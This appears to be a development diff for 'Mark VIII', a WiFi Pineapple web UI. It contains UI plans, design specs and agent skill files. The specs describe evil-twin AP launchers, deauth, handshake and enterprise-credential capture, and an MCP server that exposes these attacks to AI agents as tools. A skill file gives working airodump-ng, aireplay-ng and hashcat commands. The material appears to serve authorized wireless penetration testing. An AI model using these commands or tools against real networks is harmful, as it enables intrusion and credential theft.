||||
**Interfaces:**
|
||||
- Consumes: `RECON_ENC_BUCKETS` (6 names, `views.js:852`), `RECON_ENC_COLORS` (6 colors, `views.js:851`), `encCounts` object `{bucketName: count}`, `reconEncBucket(a.encryption)`.
|
||||
- Produces: DOM `div#recon-enc-legend` under the enc card body, populated by `drawCharts`; `canvas#recon-encryption` redrawn with `{ legend: false, height: 120 }`. `encValue`/`encSub` variables are removed.
|
||||
|
||||
- [ ] **Step 1: Edit the enc card markup in views.js**
|
||||
|
||||
Replace lines 1497-1507:
|
||||
|
||||
```js
|
||||
const encBody = titleCard('Encryption Landscape', null);
|
||||
const encValue = h('div', { class: 'recon-card-value', text: '—' });
|
||||
const encSub = h('div', { class: 'recon-card-sub', text: '' });
|
||||
encBody.appendChild(encValue);
|
||||
encBody.appendChild(encSub);
|
||||
const encBox = h('div', { class: 'recon-chart-box' });
|
||||
encBody.appendChild(encBox);
|
||||
const encCanvas = h('canvas', { id: 'recon-encryption' });
|
||||
encBox.appendChild(encCanvas);
|
||||
const encEmpty = h('div', { class: 'recon-no-data', text: 'No encryption data yet — run a scan.' });
|
||||
encBox.appendChild(encEmpty);
|
||||
```
|
||||
|
||||
with:
|
||||
|
||||
```js
|
||||
const encBody = titleCard('Encryption Landscape', null);
|
||||
const encBox = h('div', { class: 'recon-chart-box' });
|
||||
encBody.appendChild(encBox);
|
||||
const encCanvas = h('canvas', { id: 'recon-encryption' });
|
||||
encBox.appendChild(encCanvas);
|
||||
const encEmpty = h('div', { class: 'recon-no-data', text: 'No encryption data yet — run a scan.' });
|
||||
encBox.appendChild(encEmpty);
|
||||
const encLegend = h('div', { class: 'recon-enc-legend' });
|
||||
encBody.appendChild(encLegend);
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Remove the enc text-headline computation in drawCharts**
|
||||
|
||||
Replace lines 2256-2266 (the `encCounts` loop stays — only the `topEnc` block goes):
|
||||
|
||||
```js
|
||||
let topEnc = null, topEncN = 0;
|
||||
Object.keys(encCounts).forEach((k) => {
|
||||
if (encCounts[k] > topEncN) { topEnc = k; topEncN = encCounts[k]; }
|
||||
});
|
||||
encValue.textContent = topEnc || '—';
|
||||
encSub.textContent = topEnc ? topEncN + ' of ' + n + ' APs' : '';
|
||||
```
|
||||
|
||||
with nothing (delete those lines). The `encCounts` computation immediately above must remain.
|
||||
|
||||
- [ ] **Step 3: Rewrite the enc chart block in drawCharts**
|
||||
|
||||
Replace lines 2308-2322:
|
||||
|
||||
```js
|
||||
const enc = document.getElementById('recon-encryption');
|
||||
if (enc && typeof MiniChart !== 'undefined' && MiniChart.doughnut) {
|
||||
try {
|
||||
if (aps.length) {
|
||||
MiniChart.doughnut(enc, RECON_ENC_BUCKETS.map((k, i) => ({
|
||||
label: k, value: encCounts[k] || 0, color: RECON_ENC_COLORS[i]
|
||||
})), { legend: true, height: 66 });
|
||||
enc.classList.remove('hidden');
|
||||
encEmpty.classList.add('hidden');
|
||||
} else {
|
||||
enc.classList.add('hidden');
|
||||
encEmpty.classList.remove('hidden');
|
||||
}
|
||||
} catch (e) {}
|
||||
}
|
||||
```
|
||||
|
||||
with:
|
||||
|
||||
```js
|
||||
const enc = document.getElementById('recon-encryption');
|
||||
if (enc && typeof MiniChart !== 'undefined' && MiniChart.doughnut) {
|
||||
try {
|
||||
if (aps.length) {
|
||||
MiniChart.doughnut(enc, RECON_ENC_BUCKETS.map((k, i) => ({
|
||||
label: k, value: encCounts[k] || 0, color: RECON_ENC_COLORS[i]
|
||||
})), { legend: false, height: 120 });
|
||||
enc.classList.remove('hidden');
|
||||
encEmpty.classList.add('hidden');
|
||||
} else {
|
||||
enc.classList.add('hidden');
|
||||
encEmpty.classList.remove('hidden');
|
||||
}
|
||||
} catch (e) {}
|
||||
}
|
||||
const encLegend = document.getElementById('recon-enc-legend');
|
||||
if (encLegend) {
|
||||
encLegend.innerHTML = '';
|
||||
RECON_ENC_BUCKETS.forEach((k, i) => {
|
||||
const c = encCounts[k] || 0;
|
||||
if (!c) return;
|
||||
const entry = h('div', { class: 'recon-enc-entry' });
|
||||
const dot = h('span', { class: 'recon-enc-dot' });
|
||||
dot.style.background = RECON_ENC_COLORS[i];
|
||||
entry.appendChild(dot);
|
||||
entry.appendChild(h('span', { class: 'recon-enc-label', text: k }));
|
||||
entry.appendChild(h('span', { class: 'recon-enc-count', text: String(c) }));
|
||||
encLegend.appendChild(entry);
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Add the legend CSS to app.css**
|
||||
|
||||
Insert after line 328 (the `.recon-no-data` rule):
|
||||
|
||||
```css
|
||||
.recon-enc-legend { display: flex; flex-wrap: wrap; gap: 2px 10px; margin-top: 4px; align-items: baseline; }
|
||||
.recon-enc-entry { display: inline-flex; align-items: center; gap: 5px; font-size: 11px; color: var(--text); }
|
||||
.recon-enc-dot { width: 8px; height: 8px; border-radius: 50%; flex: 0 0 auto; }
|
||||
.recon-enc-label { color: var(--muted); }
|
||||
.recon-enc-count { font-weight: 600; color: var(--text); font-variant-numeric: tabular-nums; }
|
||||
```
|
||||
|
||||
- [ ] **Step 5: Syntax check both JS files**
|
||||
|
||||
Run: `node --check payload/user/remote_access/pager-webui/www/js/views.js`
|
||||
Run: `node --check payload/user/remote_access/pager-webui/www/js/chart.js`
|
||||
Expected: exit 0, no output.
|
||||
|
||||
- [ ] **Step 6: Run the backend test suite**
|
||||
|
||||
Run: `cd <repo> && python3 -m pytest tests/ -q 2>&1 | tail -3`
|
||||
Expected: `291 passed` (or the current passing count) — no regressions from unrelated files.
|
||||
|
||||
- [ ] **Step 7: Deploy to the device**
|
||||
|
||||
Run: `cd <repo> && ./scripts/deploy.sh --password '<device-password>'`
|
||||
Expected: deploy completes with `EXTRACT_OK` / success output.
|
||||
|
||||
- [ ] **Step 8: Verify the enc card on the device**
|
||||
|
||||
Recreate the CDP venv if absent (`python3 -m venv /tmp/cdpenv2 && /tmp/cdpenv2/bin/pip install -q websocket-client`), then drive headless Chrome against http://<device-ip>:8080 (login `<device-password>`, go to `#/recon`, wait ~20s) and assert:
|
||||
1. `document.getElementById('recon-encryption')` canvas has non-zero `width` attribute and the card is visible (not `.hidden`).
|
||||
2. `document.getElementById('recon-enc-legend')` contains entries whose text matches `/WPA2/` and `/\d+/`, and no `recon-card-value` element exists inside the enc card.
|
||||
3. Zero `Runtime.exceptionThrown` events.
|
||||
Expected: all three pass; screenshots unavailable, text-state assertions only.
|
||||
|
||||
- [ ] **Step 9: Commit**
|
||||
|
||||
```bash
|
||||
cd <repo> && git add payload/user/remote_access/pager-webui/www/js/views.js payload/user/remote_access/pager-webui/www/css/app.css && git commit -m "ui: encryption landscape card — ring + HTML legend with counts"
|
||||
```
|
||||
@@ -0,0 +1,102 @@
|
||||
# Mark VIII Night Sprint — Attacks, Sync, Harness
|
||||
|
||||
Date: 2026-08-18
|
||||
Status: Approved (user: "Approved, go build")
|
||||
|
||||
## Problem
|
||||
|
||||
The Mark VIII web UI (Pager firmware `Pineapple Pager 24.10.1`) is rough and
|
||||
desyncs from the device. Interrogation (2026-08-18, live device `172.16.52.1`)
|
||||
found:
|
||||
|
||||
1. **pineapd crash-loop**: 34+ `SIGSEGV`s in logread; stock daemon restarts
|
||||
pineapd every ~30s. Root cause: SSID-pool broadcast (68 SSIDs, `disable='0'`)
|
||||
segfaults pineapd; `wlan1mon` repeatedly fails to come up
|
||||
("That device is not up" / "interface sysfs directory does not exist" every 5s).
|
||||
2. **State desync**: `GET /api/pineap/mode` returns `mode: "unknown"` while the
|
||||
device is effectively Active; mode is a UI-stored preference, never derived
|
||||
from live state.
|
||||
3. **Wrong-band AP cards**: `get_ap` reads radio1 (`wlan1wpa`/`wlan1open`)
|
||||
whenever those UCI sections exist (even disabled leftovers), so the 2.4GHz
|
||||
Evil WPA card silently shows 5GHz state.
|
||||
4. **Evil Enterprise is dead code**: `views.pineap_enterprise` exists but has no
|
||||
route in `app.js` routes map and no tab.
|
||||
5. **Fire-and-forget writes**: UI toasts success without verifying device state.
|
||||
6. **Hop hygiene**: radio1-AP feature pauses `wlan1mon` hop and leaves it paused
|
||||
with leftover AP sections.
|
||||
|
||||
## Research findings (verified on device)
|
||||
|
||||
- Enterprise AP recipe: create `wireless.wlan0ent` (device `radio0`, mode `ap`,
|
||||
encryption `wpa2`, key = passphrase), then
|
||||
`PUT /api/settings/wifi/set_ap` over unix socket `/tmp/api.sock` with
|
||||
`{"configs":[{"interface":"wlan0ent","ssid":...,"enctype":"wpa2",
|
||||
"enabled":true,"key":...,"channel":1}]}`. Result: `wlan0ent` AP live with
|
||||
`ieee8021x=1`, `wpa=2`, `wpa_key_mgmt=WPA-EAP` (PineAPE internal EAP server).
|
||||
Daemon-side hostapd reload is async (poll for iface in `iw dev`).
|
||||
- `hcxpcapngtool`, `tcpdump`, `sqlite3`, `aircrack-ng` present on device.
|
||||
- MCP Streamable HTTP transport (2025-06-18): single endpoint, POST JSON-RPC,
|
||||
respond `application/json` or SSE; Origin validation + auth required.
|
||||
- Daemon unix-socket API (`/tmp/api.sock`) carries `/api/pineap/*`; TCP :1471
|
||||
carries `/api/settings/*` and `/api/login`.
|
||||
|
||||
## Design
|
||||
|
||||
### Phase 1 — Attacks (top-level menu item)
|
||||
|
||||
New side-menu section **Attacks** with three launchers:
|
||||
|
||||
- **Evil WPA (PSK)**: SSID, passphrase, enctype (psk2/sae/owe), band+channel
|
||||
(2.4 → `wlan0wpa`, 5/6 → `wlan1wpa` via radio1 feature), hidden. Deploy =
|
||||
UCI write + hop pause + `wifi reload` + PineAP response engine + karma on +
|
||||
handshake logging on. Stop = disable AP + hop resume. Live AP status from
|
||||
`iw dev`/UCI (never UI cache), live handshake table (`hostap_handshake`),
|
||||
**Export .hc22000** (on-device `hcxpcapngtool`) + hashcat command, per-client
|
||||
deauth with band-aware inject interface.
|
||||
- **Evil Open**: same shape for `wlan0open` / radio1 open AP.
|
||||
- **Evil Enterprise**: SSID, encryption (wpa2/wpa3 enterprise), passphrase.
|
||||
Deploy = verified recipe above + PineAPE on + auth-pass capture on. Live cred
|
||||
tables (`hostap_basic`, `hostap_chalresp`) with Clear.
|
||||
|
||||
All three: verification banner ("applied & verified" vs "device state differs"),
|
||||
Stop button, and a post-write poll (UCI + `iw dev`) before success toast.
|
||||
|
||||
### Phase 2 — Stabilize + sync
|
||||
|
||||
- SSID pool broadcast disabled on deploy of this build; server-side health
|
||||
monitor: `_pineap PING` every 15s; two failures → check SIGSEGV growth in
|
||||
logread → disable pool, restart pineapd, `ip link set wlan1mon up`.
|
||||
- Mode derived from live `enabled` + `collect` + `advertise`; never "unknown"
|
||||
when state is readable.
|
||||
- `get_ap` returns `radio0` + `radio1` + `enterprise` APs as separate objects.
|
||||
- All writes verified by re-read; success only on match.
|
||||
- Hop resumed when no radio1 AP active; leftover radio1 sections reported.
|
||||
|
||||
### Phase 3 — Local Harness (MCP)
|
||||
|
||||
- `POST /mcp` on server.py: Streamable HTTP MCP server (JSON-RPC 2.0, pure
|
||||
socket, no deps), auth via session cookie/Bearer + Origin validation.
|
||||
- Tools: `recon.query`, `attack.deploy_evil_wpa` / `deploy_evil_open` /
|
||||
`deploy_evil_enterprise` / `stop_attack`, `attack.deauth`,
|
||||
`attack.capture`, `loot.handshakes`, `loot.export_hc22000`,
|
||||
`loot.enterprise_creds`, `device.state`, `pineap.set_filter`,
|
||||
`pineap.kick_client`.
|
||||
- Resources: recon DB tables (ssid, wifi_device, handshake, hostap_handshake,
|
||||
hostap_basic, hostap_chalresp), handshake files, loot listing, and the
|
||||
opencode skills (pineapple-control, wifi-deauth, aircrack-suite) as
|
||||
markdown resources.
|
||||
- Prompts: attack playbooks (evil-wpa, evil-enterprise, recon).
|
||||
- **Harness UI page**: endpoint + client config snippets (opencode/Claude/
|
||||
Cursor), capability explorer, "prompt for pi.dev" generator, live state
|
||||
snapshot.
|
||||
- Optional stdio wrapper `scripts/harness_stdio.py` for stdio-only agents.
|
||||
|
||||
## Constraints
|
||||
|
||||
- Authorized target: `<authorized-test-ssid>` only (intermittent). Non-client
|
||||
environment; no deauth blasts; verify on-wire via monitor capture when needed.
|
||||
- SSID pool stays disabled (stock bug; re-enabling re-crashes pineapd).
|
||||
|
||||
## Out of scope
|
||||
|
||||
`1471` takeover, Cloud C2, campaigns, physical display mirroring.
|
||||
@@ -0,0 +1,123 @@
|
||||
# Mark VIII UI Hardening + Recon Polish — Design
|
||||
|
||||
Date: 2026-08-18
|
||||
Status: Approved in advance by user (auto-approve; user unavailable for review)
|
||||
|
||||
## Context
|
||||
|
||||
Mark VIII (web UI for the WiFi Pineapple Pager) has been through major dev
|
||||
changes. The user runs a live test tomorrow and needs the UI rock solid.
|
||||
Verified on device:
|
||||
|
||||
- MCP server works: `tools/list` returns 16 tools; `device.state`,
|
||||
`recon.aps` respond correctly.
|
||||
- API endpoints used by the Recon "Actions" buttons work
|
||||
(`/api/recon/examine`, `/api/pineap/set_config`).
|
||||
- Recon detail endpoint is slow (~1.5 s) and can 503 when the sqlite DB is
|
||||
busy; the UI swallows errors silently and can stay blank.
|
||||
|
||||
## Findings
|
||||
|
||||
1. **Recon top cards (5)**: equal 200 px cards with 20 px titles, centered
|
||||
content, charts sized for wide cards. "Previous Scans" crams 5 icon
|
||||
buttons + a 50+-option select into a ~220 px card → buttons stack into
|
||||
three rows. "Channel Distribution" bar chart is unreadable at card width.
|
||||
Handshakes toggle text wraps awkwardly.
|
||||
2. **Channel map**: canvas lobes render but have zero interactivity — no way
|
||||
to see which networks are under the cursor.
|
||||
3. **Focus sidebar Actions**: "Capture WPA Handshakes" / "Stop Handshake
|
||||
Capture" / "Examine BSSID" / "Examine Channel" work at the API level but
|
||||
give weak feedback; there is no path from a recon target to the PineAP
|
||||
evil-twin form.
|
||||
4. **Robustness**: `loadDetail()` in the recon view swallows render/network
|
||||
errors with `.catch(() => {})`; if rendering throws after `detailId` is
|
||||
set, the page stays blank forever (guard short-circuits). `load()` has no
|
||||
pending guard → overlapping polls. `hsAuto` (loghandshake) checkbox is
|
||||
only synced at view creation — it drifts from the pager's own settings
|
||||
when changed elsewhere (pager UI / another browser).
|
||||
|
||||
## Changes
|
||||
|
||||
### 1. Recon title cards — redesign (`views.js` + `app.css`)
|
||||
|
||||
New card anatomy (all five consistent):
|
||||
- Compact header: 12 px uppercase muted title (clickable where it links).
|
||||
- Primary value: 28 px bold.
|
||||
- Sub-line: 12 px muted context text.
|
||||
- Optional mini chart: fixed 96 px tall.
|
||||
|
||||
Cards (`flex: 1 1 0; min-width: 170px; height: 190px` — five fit one row
|
||||
even in a ~1000 px pane):
|
||||
1. **Wireless Landscape** — value: total networks (APs); sub: "N clients ·
|
||||
M unassociated"; mini doughnut (APs/Clients/Unassociated).
|
||||
2. **Channel Distribution** — value: busiest channel "CH 6"; sub: "N of K
|
||||
APs on CH 6 · channels seen"; mini bar chart of channel counts.
|
||||
3. **Encryption Landscape** — value: top encryption bucket; sub: "N of K
|
||||
APs"; mini doughnut of buckets.
|
||||
4. **Handshakes** — value: handshake count (links to
|
||||
`#/recon/handshakes`); sub: "captured"; auto-collect toggle (restyled).
|
||||
5. **Previous Scans** — value: scan count; sub: latest scan start time;
|
||||
compact select row + single row of icon buttons.
|
||||
|
||||
Empty states get copy that matches the card ("No landscape data yet —
|
||||
run a scan").
|
||||
|
||||
### 2. Channel map hover (`chart.js` + `views.js` + `app.css`)
|
||||
|
||||
- `MiniChart.channelMap` records per-lobe geometry on the canvas:
|
||||
`canvas.__reconLobes = [{ ap, cx, half, topPx, basePx }]` (CSS px).
|
||||
- `views.js` attaches `mousemove`/`mouseleave`/`click` to the map canvas:
|
||||
- hit test: `t=(mx-cx)/half`, lift = `0.5+0.5·cos(πt)`, hovered if
|
||||
`my >= basePx - lift·peakPx - 4` and `my <= basePx + 8`;
|
||||
- tooltip div (absolute, inside `.recon-map-box`) lists every network
|
||||
under the cursor: SSID/MAC/channel/freq/signal/encryption/vendor;
|
||||
- click pins the tooltip until the next move or click;
|
||||
- `mouseleave` hides it.
|
||||
- Lobe geometry regenerates on every `renderChannelMap()` (redraw), so
|
||||
stale geometry is impossible.
|
||||
|
||||
### 3. Focus sidebar: Actions validation + Send to PineAP (`views.js`)
|
||||
|
||||
- Existing buttons stay; toast feedback improved (already verified working
|
||||
at API level; re-verified end-to-end in browser).
|
||||
- New primary button **"Send to PineAP — Twin this network"**:
|
||||
- encryption bucket `Open` → navigate `#/pineap/open` with prefill
|
||||
`{ssid, hidden, channel, bssid}`;
|
||||
- anything else → navigate `#/pineap/evilwpa` with prefill
|
||||
`{ssid, hidden, channel, enctype}` where enctype maps from recon
|
||||
encryption: SAE→`sae`, OWE→`owe`, WPA3-only→`sae`, else `psk2`;
|
||||
- Enterprise networks still go to Evil WPA (psk2) — noted in the prefill
|
||||
banner.
|
||||
- Prefill mechanism: `window.PineAPPrefill = { set, consume }` (module
|
||||
singleton in `views.js`); `consume()` clears after use so a stale prefill
|
||||
never leaks into a manually opened form.
|
||||
- `attackLauncher()` consumes the prefill when building the form (SSID,
|
||||
hidden, channel via `chanSelect`, enctype, BSSID) and renders a muted
|
||||
banner: "Prefilled from Recon — verify, set the passphrase, then Deploy."
|
||||
Deploy is never triggered automatically (no attacks without an explicit
|
||||
user action).
|
||||
|
||||
### 4. Robustness / sync hardening (`views.js`)
|
||||
|
||||
- `loadDetail()`: on fetch failure keep `detailId` unset so the poll
|
||||
retries; surface "Scan data unavailable — retrying…" in the scan status
|
||||
line; wrap the render body so one chart's exception cannot blank the
|
||||
table (each chart draw also wrapped individually).
|
||||
- `drawCharts()`: wrap each chart section in try/catch.
|
||||
- `load()`: `loadPending` guard against overlapping polls; surface scan-list
|
||||
errors in the status line.
|
||||
- `hsAuto` re-syncs from `/api/pineap/get_config` on the 30 s slow poll
|
||||
(stays in sync with the pager's own UI/settings changes).
|
||||
- Version bumps in `index.html` for `app.css`, `chart.js`, `views.js`.
|
||||
|
||||
### 5. Verification
|
||||
|
||||
- Backend unchanged → existing `tests/` still pass (run the suite).
|
||||
- Deploy via `scripts/deploy.sh --password` (device: 172.16.52.1).
|
||||
- End-to-end in browser (device UI):
|
||||
- login; recon page: cards populated with scan data; no blank-page state;
|
||||
- click an AP row → focus sidebar → each Action button verified by
|
||||
reading back state (`get_config`) and API responses;
|
||||
- Send to PineAP → form pre-filled on the right tab (open vs WPA target);
|
||||
- channel map click → tooltip shows networks under cursor;
|
||||
- reboot-resilience spot check via service restart (pagerwebui restart).
|
||||
@@ -0,0 +1,46 @@
|
||||
# Encryption Landscape Card — Ring + Key Redesign
|
||||
|
||||
Date: 2026-08-19
|
||||
|
||||
## Problem
|
||||
|
||||
The "Encryption Landscape" recon card currently leads with a text headline
|
||||
(`WPA2-PSK` / `54 of 96 APs`) that duplicates the ring graph below it and is of
|
||||
little value. The ring itself draws an inline legend on the canvas in a single
|
||||
row that overflows the 190px card width (6 labels) and gets clipped. The card
|
||||
should be a proper ring graph with a readable key.
|
||||
|
||||
## Design
|
||||
|
||||
- Remove the `encValue` / `encSub` text line (`WPA2-PSK` / `54 of 96 APs`)
|
||||
entirely. Title + ring + legend tell the whole story.
|
||||
- Ring: existing doughnut grows to fill the card body (canvas ~120px tall),
|
||||
plain hole. Segments come from the **actual** `reconEncBucket` family keys
|
||||
(Open / WEP / WPA / WPA2-PSK / WPA2-Enterprise / WPA3-Personal / WPA3-PSK /
|
||||
WPA3-Enterprise / Unknown) — the nominal six-bucket list was a wrong
|
||||
assumption: `reconEncBucket` never returns `WPA2`/`WPA3`/`Enterprise`
|
||||
verbatim, so the ring drew an empty ring on WPA2-dominated data.
|
||||
Families are ordered by `RECON_ENC_ORDER`; colors cycle `RECON_ENC_COLORS`.
|
||||
- Legend: move out of the canvas into real HTML below the ring. Flex-wrap so
|
||||
entries never clip at 190px. Each entry: colored dot + label + count
|
||||
(`● WPA2-PSK 44`). Zero-count families are never produced (built from
|
||||
non-zero `encCounts` keys). The legend div carries both the class and the
|
||||
id `recon-enc-legend` — drawCharts looks it up with `getElementById`, and a
|
||||
class-only element made the population block silently no-op.
|
||||
- Empty state unchanged: "No encryption data yet — run a scan."
|
||||
- Data source, per-scan bucketing (`reconEncBucket`), re-sync, and the 5-card
|
||||
layout are untouched. The other cards are untouched.
|
||||
|
||||
## Implementation notes
|
||||
|
||||
- `chart.js`: `MiniChart.doughnut` keeps the `legend` option for any other
|
||||
callers (the recon landscape doughnut calls with `legend:false`; the enc
|
||||
card switches to `legend:false` since HTML legend replaces it).
|
||||
- `views.js`: drop `encValue`/`encSub`; build an HTML legend container
|
||||
(`#recon-enc-legend`) populated in `drawCharts` from the same `encCounts`;
|
||||
ring drawn with `{ legend: false, height: ~120 }` from a shared `encSegs`
|
||||
array (real family keys, `RECON_ENC_ORDER`-sorted, cycled colors).
|
||||
- `app.css`: `.recon-enc-legend` flex-wrap styles + dot/entry styles.
|
||||
- Ring hole stays plain (no center text).
|
||||
- On-device verification MUST assert the legend has non-empty entries
|
||||
(class/id mismatch and the bucket-name mismatch both fail silently).
|
||||
@@ -8,7 +8,7 @@
|
||||
"title": "Mark VIII",
|
||||
"author": "c4ch3c4d3",
|
||||
"description": "Mark VII-style web management UI for the WiFi Pineapple Pager",
|
||||
"version": "1.0",
|
||||
"version": "1.2",
|
||||
"category": "remote_access",
|
||||
"tags": ["remote-access", "web-interface", "device-management", "pineap"],
|
||||
"firmware": "Pineapple Pager 24.10.1"
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
# Title: Mark VIII
|
||||
# Description: Mark VII-style web management UI for the WiFi Pineapple Pager
|
||||
# Author: c4ch3c4d3
|
||||
# Version: 1.0
|
||||
# Version: 1.1
|
||||
# Category: Remote-Access
|
||||
# Tags: remote-access, web-interface, device-management, pineap
|
||||
# Firmware: Pineapple Pager 24.10.1
|
||||
@@ -28,7 +28,7 @@ get_pager_ip() {
|
||||
}
|
||||
|
||||
LOG "cyan" "+---------------------------+"
|
||||
LOG "cyan" "| Mark VIII v1.0 |"
|
||||
LOG "cyan" "| Mark VIII v1.1 |"
|
||||
LOG "cyan" "+---------------------------+"
|
||||
|
||||
if ! command -v python3 >/dev/null 2>&1; then
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,54 @@
|
||||
---
|
||||
name: aircrack-suite
|
||||
description: Use when running the aircrack-ng suite on the WiFi Pineapple (Pager/FENRIS) — airodump-ng target capture, aireplay-ng deauth, PMKID (hashcat -m 22002) or four-way handshake (hashcat -m 22000) hunting, on-device hcxpcapngtool extraction, or installing/reinstalling aircrack-ng and hcxtools after a factory reset. Pairs with pineapple-control (device access) and wifi-deauth (attack methodology).
|
||||
---
|
||||
|
||||
# Aircrack Suite on the Pineapple (airodump / aireplay / PMKID)
|
||||
|
||||
The Pineapple runs aircrack-ng tools directly on its monitor interfaces. Verified on Pager/FENRIS: `aircrack-ng 1.7-r1` (airodump-ng, aireplay-ng, aircrack-ng) and `hcxtools 6.3.2-r1` (hcxpcapngtool). Read **pineapple-control** for device access, radio layout, and the command surface; read **wifi-deauth** for the attack methodology, authorization gate, and failure modes.
|
||||
|
||||
## Installation (factory-reset recovery)
|
||||
|
||||
```sh
|
||||
opkg update
|
||||
opkg install aircrack-ng hcxtools
|
||||
```
|
||||
|
||||
- `airmon-ng` is NOT shipped with the OpenWrt package — monitor mode is handled by the existing `wlan0mon`/`wlan1mon` interfaces (or `iw`), not airmon-ng.
|
||||
- `hcxdumptool` is NOT in the opkg repo — capture PMKID with airodump-ng + hcxpcapngtool extraction instead.
|
||||
- Workstation tooling for cracking (macOS): `brew install hcxtools hashcat`; `aircrack-ng` optional via `brew install aircrack-ng`.
|
||||
|
||||
## Target capture
|
||||
|
||||
Monitor interfaces must be UP, and the channel must match the phy (pinned by the AP interface: ch1 = `wlan0mon` 2.4 GHz, ch36 = `wlan1mon` 5 GHz). **airodump-ng 1.7 does NOT accept `--write-format`** — use `-w <prefix>` (writes `.cap`, `.csv`, `.kismet.*`):
|
||||
|
||||
```sh
|
||||
ip link set wlan1mon up
|
||||
setsid airodump-ng wlan1mon -c 36 --bssid 9A:18:98:FE:C1:09 -w /root/loot/pcap/svc5g >/tmp/ad.log 2>&1 </dev/null &
|
||||
```
|
||||
|
||||
- `setsid ... </dev/null &` detaches so the capture survives SSH disconnect; it runs until killed (no time cap).
|
||||
- One airodump per band: `wlan0mon -c 1` for 2.4 GHz targets. Run both for dual-band coverage.
|
||||
- Stop: `killall airodump-ng`. Files roll to `-02.cap`, `-03.cap`, etc.
|
||||
- Pull the `.cap` with scp for local analysis, or use on-device `hcxpcapngtool`.
|
||||
|
||||
## PMKID hunt (hashcat -m 22002)
|
||||
|
||||
A PMKID appears in a client's (re)association request when it holds a cached PMK — i.e., PMKSA fast-reauth clients. Requirement: a client must (re)associate; **no client in range means nothing to capture**.
|
||||
|
||||
- Elicit with ONE light deauth: `PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <ch>` (tested) or `aireplay-ng -0 1 -a <AP_MAC> [-c <CLIENT_MAC>] wlan1mon`. Heavy deauth suppresses PMKID — the AP resets PMKID and hcxpcapngtool warns "too many deauthentication/disassociation frames".
|
||||
- Extract on-device or locally:
|
||||
```sh
|
||||
hcxpcapngtool svc5g-01.cap 2>&1 | grep -i pmkid # does a PMKID exist?
|
||||
hcxpcapngtool -o out.22002 svc5g-01.cap # write hashcat file
|
||||
hashcat -m 22002 out.22002 -a 0 <wordlist>
|
||||
```
|
||||
- A brand-new client's first association also yields a full 4-way: `hcxpcapngtool -o out.22000 <cap>` then `hashcat -m 22000 out.22000 -a 0 <wordlist>`.
|
||||
|
||||
## Pitfalls
|
||||
|
||||
- **Verify the auth type before assuming PSK.** airodump's AUTH column can misleadingly show `MGT` (802.1X) when a hidden Enterprise BSSID shares the same AP. Decode the RSN instead: `tshark -r cap -Y "wlan.fc.subtype==8" -T fields -e wlan.sa -e wlan.rsn.akms.type` (1 = PSK, 2 = 802.1X, 6 = FT-802.1X). PMKID/`-m 22000` only apply to PSK.
|
||||
- **Channel:** `-c` must equal the phy's held channel, or airodump sees nothing.
|
||||
- **Interface state:** if airodump errors "That device is not up", run `ip link set wlan*mon up` first.
|
||||
- **Flags:** "unrecognized option" on 1.7 — you passed an unsupported flag (e.g. `--write-format`).
|
||||
- Running airodump alongside pineapd recon is fine; the phy stays pinned by the AP interface, so recon hopping cannot move it.
|
||||
@@ -0,0 +1,145 @@
|
||||
---
|
||||
name: pineapple-control
|
||||
description: Use when operating a WiFi Pineapple (Pager / FENRIS / PineAP firmware) over SSH — accessing the device, understanding its radios/processes, controlling it via PINEAPPLE_* / _pineap / hostapd_cli, fixing pineapd crashes (SSID-pool SIGSEGV), or persistently configuring APs and evil twins via /etc/config/wireless. Pair with the wifi-deauth skill for deauth/handshake attack work.
|
||||
---
|
||||
|
||||
# Pineapple Control (Pager / FENRIS)
|
||||
|
||||
Field-verified operating guide for the WiFi Pineapple Pager (FENRIS firmware, kernel 6.6, OpenWrt, BusyBox). Read this before touching the device; the wifi-deauth skill covers the attack methodology.
|
||||
|
||||
## Hardware / radios
|
||||
|
||||
| Radio | Hardware | Interfaces | Notes |
|
||||
|---|---|---|---|
|
||||
| phy0 | internal `mt76_wmac` (2.4 GHz) | `wlan0wpa` (AP), `wlan0open` (AP), `wlan0mon` (monitor), `wlan0` (managed uplink) | `wlan0mon` DOES see the Pineapple's own TX |
|
||||
| phy1 | USB `mt7921u` (5 GHz) | `wlan1wpa` (AP), `wlan1mon` (monitor) | `wlan1mon` does NOT see own TX (beacon offload) — see Captures |
|
||||
|
||||
Naming: `wlan0*` = 2.4 GHz, `wlan1*` = 5 GHz. A phy's channel is held by its AP interface (`iw dev`); the monitor on that phy is pinned to it. The UI "Evil WPA AP" feature is hardwired to `wlan0wpa` (2.4 GHz); a 5 GHz evil twin must be made via `/etc/config/wireless`.
|
||||
|
||||
**The uplink pins phy0 (field-verified 2026-08-19):** while the device's own
|
||||
client uplink (`wlan0` STA) is associated, it holds phy0 on the association
|
||||
channel (here ch1). `wlan0mon` therefore CANNOT hop off ch1, and 2.4 GHz
|
||||
APs on other channels are invisible to recon — even when `hop=1` is set.
|
||||
Also, pineapd's per-interface hop is a no-op unless `hopspeed` is set on
|
||||
that interface (`pineapd.wlan0mon.hopspeed='fast'`). Workarounds: run the
|
||||
2.4 GHz evil twin on the phy's pinned channel (clients rescan all channels
|
||||
on reconnect and will find it), or accept ch1-only 2.4 GHz recon while the
|
||||
uplink is up.
|
||||
|
||||
## pineapd crash stack (Pager 24.10.1 — all five verified)
|
||||
|
||||
1. **SSID-pool broadcast** — segfaults pineapd (~15 s cadence, `ra=004e1237`). Keep `pineapd.@ssidpool[0].disable=1`.
|
||||
2. **wlan2mon** — a 6 GHz monitor this hardware never creates; hopping it segfaults pineapd. Keep `pineapd.wlan2mon.disable=1` + `hop=0`.
|
||||
3. **wlan1mon 6 GHz fast-hop** — stalls the command socket; the stock daemon's watchdog then SIGTERMs pineapd every ~30 s ("[PineAp] Error writing"). Keep `pineapd.wlan1mon.bands=5`.
|
||||
4. **Refilled pool list** — collect (`autossidpool`) refills the pool; a large list crashes even with broadcast off. Clear `pineapd.@ssidpool[0].ssid` when pineapd fails.
|
||||
5. **Active socket polling** — pinging pineapd from a health loop collides with the stock daemon's writes. Health checks must be passive (`pidof`).
|
||||
|
||||
The Mark VIII health monitor enforces all five automatically; `/api/health` reports state. An evil twin / enterprise deploy pauses `wlan1mon` hop and resumes it on stop.
|
||||
|
||||
## Standalone PineAPE enterprise engine (field-verified)
|
||||
|
||||
The stock daemon's enterprise AP config generation is BROKEN on this build
|
||||
